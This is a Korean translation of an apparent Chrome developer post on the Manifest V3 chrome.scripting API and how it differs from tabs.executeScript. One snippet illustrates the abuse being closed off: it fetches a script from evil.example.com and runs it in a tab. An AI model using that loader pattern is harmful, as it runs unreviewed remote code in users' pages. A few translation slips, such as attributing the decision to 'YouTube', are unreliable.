Manifest V3에서는 Chrome의 확장 프로그램 플랫폼에 여러 변경사항이 도입됩니다. 이 게시물에서는 가장 주목할 만한 변경사항 중 하나인 chrome.scripting
API 도입으로 인해 도입된 동기와 변경사항을 살펴봅니다.
chrome.scripting이란 무엇인가요?
이름에서 알 수 있듯이 chrome.scripting
은 스크립트 및 스타일 삽입 기능을 담당하는 Manifest V3에 도입된 새로운 네임스페이스입니다.
이전에 Chrome 확장 프로그램을 만든 개발자는 Tabs API의 Manifest V2 메서드(예: chrome.tabs.executeScript
및 chrome.tabs.insertCSS
)에 익숙할 수 있습니다. 이러한 메서드를 사용하면 확장 프로그램이 스크립트와 스타일시트를 페이지에 각각 삽입할 수 있습니다. Manifest V3에서는 이러한 기능이 chrome.scripting
로 이동했으며 향후 몇 가지 새로운 기능으로 이 API를 확장할 계획입니다.
새 API를 만드는 이유는 무엇인가요?
이와 같은 변경사항이 적용되면 가장 먼저 '왜?'라는 질문이 제기되는 경향이 있습니다.
Chrome팀은 몇 가지 요인으로 인해 스크립팅을 위한 새로운 네임스페이스를 도입하기로 결정했습니다.
첫째, Tabs API는 기능의 잡동사니함과도 같습니다. 둘째, 기존 executeScript
API를 중단해야 했습니다. 세 번째로 확장 프로그램의 스크립팅 기능을 확장해야 했습니다. 이러한 문제점은 모두 스크립팅 기능을 수용할 새 네임스페이스의 필요성을 명확하게 정의했습니다.
잡동사니 서랍
지난 몇 년간 확장 프로그램팀을 괴롭혀 온 문제 중 하나는 chrome.tabs
API가 과부하된다는 점입니다. 이 API가 처음 도입되었을 때 제공하는 대부분의 기능은 브라우저 탭의 광범위한 개념과 관련이 있었습니다. 그때도 이 기능은 다양한 기능을 모아놓은 모음이었으며, 시간이 지남에 따라 이 모음은 점점 더 커졌습니다.
매니페스트 V3이 출시될 때 Tabs API는 기본 탭 관리, 선택 관리, 창 구성, 메시지, 확대/축소 컨트롤, 기본 탐색, 스크립팅, 기타 몇 가지 소규모 기능을 다루도록 확장되었습니다. 이러한 요소는 모두 중요하지만 개발자가 시작할 때는 다소 부담스러울 수 있으며 Chrome팀이 플랫폼을 유지하고 개발자 커뮤니티의 요청을 고려할 때도 마찬가지입니다.
또 다른 복잡한 요소는 tabs
권한이 잘 이해되지 않는다는 점입니다. 다른 많은 권한은 특정 API(예: storage
)에 대한 액세스를 제한하지만 이 권한은 탭 인스턴스의 민감한 속성에 대한 확장 프로그램 액세스만 부여한다는 점에서 약간 특이합니다. 또한 확장 프로그램은 Windows API에도 영향을 미칩니다. 당연히 많은 확장 프로그램 개발자는 Tabs API의 메서드(예: chrome.tabs.create
또는 더 정확하게는 chrome.tabs.executeScript
)에 액세스하려면 이 권한이 필요하다고 잘못 생각합니다. Tabs API에서 기능을 옮기면 이러한 혼란을 일부 해소하는 데 도움이 됩니다.
브레이킹 체인지
Manifest V3를 설계할 때 해결하고자 했던 주요 문제 중 하나는 실행되지만 확장 프로그램 패키지에 포함되지 않은 '원격 호스팅 코드'로 사용 설정된 악용 및 멀웨어였습니다. 악의적인 확장 프로그램 작성자는 원격 서버에서 가져온 스크립트를 실행하여 사용자 데이터를 도용하고, 멀웨어를 삽입하고, 감지를 회피하는 경우가 많습니다. 선의의 행위자도 이 기능을 사용하지만, YouTube는 이 기능을 그대로 두는 것이 너무 위험하다고 판단했습니다.
확장 프로그램에서 번들로 묶이지 않은 코드를 실행하는 방법에는 여러 가지가 있지만 여기서는 Manifest V2 chrome.tabs.executeScript
메서드가 관련이 있습니다. 이 메서드를 사용하면 확장 프로그램이 대상 탭에서 임의의 코드 문자열을 실행할 수 있습니다. 즉, 악의적인 개발자가 원격 서버에서 임의의 스크립트를 가져와 확장 프로그램이 액세스할 수 있는 페이지 내에서 실행할 수 있습니다. 원격 코드 문제를 해결하려면 이 기능을 중단해야 한다는 점을 알고 있었습니다.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
또한 Manifest V2 버전 설계의 다른 미묘한 문제를 해결하고 API를 더 세련되고 예측 가능한 도구로 만들고자 했습니다.
Tabs API 내에서 이 메서드의 서명을 변경할 수도 있었지만, 이러한 중대한 변경사항과 다음 섹션에서 다루는 새로운 기능 도입 사이에서 모두에게 더 쉬운 완전한 중단이 필요하다고 생각했습니다.
스크립팅 기능 확장
Manifest V3 설계 프로세스에 반영된 또 다른 고려사항은 Chrome의 확장 프로그램 플랫폼에 추가 스크립팅 기능을 도입하려는 욕구였습니다. 특히 동적 콘텐츠 스크립트 지원을 추가하고 executeScript
메서드의 기능을 확장하고자 했습니다.
동적 콘텐츠 스크립트 지원은 Chromium에서 오랫동안 요청되어 온 기능입니다. 현재 Manifest V2 및 V3 Chrome 확장 프로그램은 manifest.json
파일에서만 콘텐츠 스크립트를 정적으로 선언할 수 있습니다. 플랫폼은 새 콘텐츠 스크립트를 등록하거나, 콘텐츠 스크립트 등록을 조정하거나, 런타임에 콘텐츠 스크립트를 등록 취소하는 방법을 제공하지 않습니다.
매니페스트 V3에서 이 기능 요청을 처리하고 싶었지만 기존 API 중 적합한 API가 없었습니다. Firefox의 Content Scripts API와도 조화를 이루는 방안을 고려했지만 초기에 이 접근 방식의 몇 가지 주요 단점을 발견했습니다.
첫째, 호환되지 않는 서명이 있을 것으로 예상되었습니다 (예: code
속성 지원 중단). 둘째, Google API에는 다른 설계 제약 조건이 있습니다 (예: 서비스 워커의 전체 기간 동안 유지되도록 등록이 필요함). 마지막으로 이 네임스페이스는 확장 프로그램에서 더 광범위하게 스크립팅을 고려하는 콘텐츠 스크립트 기능으로 한정됩니다.
executeScript
측면에서는 Tabs API 버전에서 지원하는 것 이상으로 이 API의 기능을 확장하고자 했습니다. 더 구체적으로, 함수와 인수를 지원하고, 특정 프레임을 더 쉽게 타겟팅하고, '탭'이 아닌 컨텍스트를 타겟팅하고자 했습니다.
앞으로는 확장 프로그램이 설치된 PWA 및 개념적으로 '탭'에 매핑되지 않는 다른 컨텍스트와 상호작용하는 방법도 고려하고 있습니다.
tabs.executeScript와 scripting.executeScript 간의 변경사항
이 게시물의 나머지 부분에서는 chrome.tabs.executeScript
와 chrome.scripting.executeScript
의 유사점과 차이점을 자세히 살펴보겠습니다.
인수가 있는 함수 삽입
원격 호스팅 코드 제한사항에 따라 플랫폼이 어떻게 발전해야 하는지 고려하면서 임의 코드 실행의 원시적인 기능과 정적 콘텐츠 스크립트만 허용하는 것 사이의 균형을 찾고자 했습니다. 확장 프로그램이 함수를 콘텐츠 스크립트로 삽입하고 값 배열을 인수로 전달하도록 허용하는 솔루션을 찾았습니다.
(과도하게 단순화된) 예를 간단히 살펴보겠습니다. 사용자가 확장 프로그램의 작업 버튼 (툴바의 아이콘)을 클릭할 때 사용자의 이름으로 인사하는 스크립트를 삽입하려고 한다고 가정해 보겠습니다. Manifest V2에서는 코드 문자열을 동적으로 구성하고 현재 페이지에서 해당 스크립트를 실행할 수 있습니다.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Manifest V3 확장 프로그램은 확장 프로그램과 번들로 묶이지 않은 코드를 사용할 수 없지만, Manifest V2 확장 프로그램에서 임의의 코드 블록이 사용 설정한 동적 기능 중 일부를 보존하는 것이 목표였습니다. 함수 및 인수 접근 방식을 사용하면 Chrome 웹 스토어 검토자, 사용자, 기타 이해관계자가 확장 프로그램이 야기하는 위험을 더 정확하게 평가할 수 있으며 개발자는 사용자 설정 또는 애플리케이션 상태에 따라 확장 프로그램의 런타임 동작을 수정할 수 있습니다.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
타겟팅 프레임
또한 수정된 API에서 개발자가 프레임과 상호작용하는 방식을 개선하고자 했습니다. executeScript
의 매니페스트 V2 버전을 사용하면 개발자가 탭의 모든 프레임 또는 탭의 특정 프레임을 타겟팅할 수 있었습니다. chrome.webNavigation.getAllFrames
를 사용하여 탭의 모든 프레임 목록을 가져올 수 있습니다.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
매니페스트 V3에서는 옵션 객체의 선택적 frameId
정수 속성을 선택적 정수 배열 frameIds
로 대체했습니다. 이를 통해 개발자는 단일 API 호출에서 여러 프레임을 타겟팅할 수 있습니다.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
스크립트 삽입 결과
또한 Manifest V3에서 스크립트 삽입 결과를 반환하는 방식도 개선되었습니다. '결과'는 기본적으로 스크립트에서 평가되는 최종 문이므로 Chrome DevTools 콘솔에서 eval()
를 호출하거나 코드 블록을 실행할 때 반환되는 값과 비슷하지만 프로세스 간에 결과를 전달하기 위해 직렬화된 값이라고 생각하면 됩니다.
Manifest V2에서 executeScript
및 insertCSS
는 일반 실행 결과 배열을 반환합니다.
삽입 지점이 하나만 있는 경우에는 괜찮지만 여러 프레임에 삽입할 때는 결과 순서가 보장되지 않으므로 어떤 결과가 어떤 프레임과 연결되어 있는지 알 수 없습니다.
구체적인 예를 들어 동일한 확장 프로그램의 Manifest V2 버전과 Manifest V3 버전에서 반환된 results
배열을 살펴보겠습니다. 두 버전의 확장 프로그램 모두 동일한 콘텐츠 스크립트를 삽입하며 동일한 데모 페이지에서 결과를 비교합니다.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Manifest V2 버전을 실행하면 [1, 0, 5]
배열이 반환됩니다. 어떤 결과가 기본 프레임에 해당하고 어떤 결과가 iframe에 해당하나요? 반환 값은 알려주지 않으므로 확실히 알 수 없습니다.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
매니페스트 V3 버전에서는 이제 results
에 평가 결과 배열 대신 결과 객체 배열이 포함되며, 결과 객체는 각 결과의 프레임 ID를 명확하게 식별합니다. 이를 통해 개발자는 결과를 활용하고 특정 프레임에 조치를 취하는 것이 훨씬 쉬워집니다.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
마무리
매니페스트 버전 범프는 확장 프로그램 API를 재고하고 현대화할 수 있는 드문 기회입니다. 매니페스트 V3의 목표는 확장 프로그램을 더 안전하게 만들어 최종 사용자 환경을 개선하는 동시에 개발자 환경도 개선하는 것입니다. 매니페스트 V3에 chrome.scripting
를 도입함으로써 Tabs API를 정리하고, 더 안전한 확장 프로그램 플랫폼을 위해 executeScript
를 재구성하고, 올해 말에 출시될 새로운 스크립팅 기능의 기반을 마련할 수 있었습니다.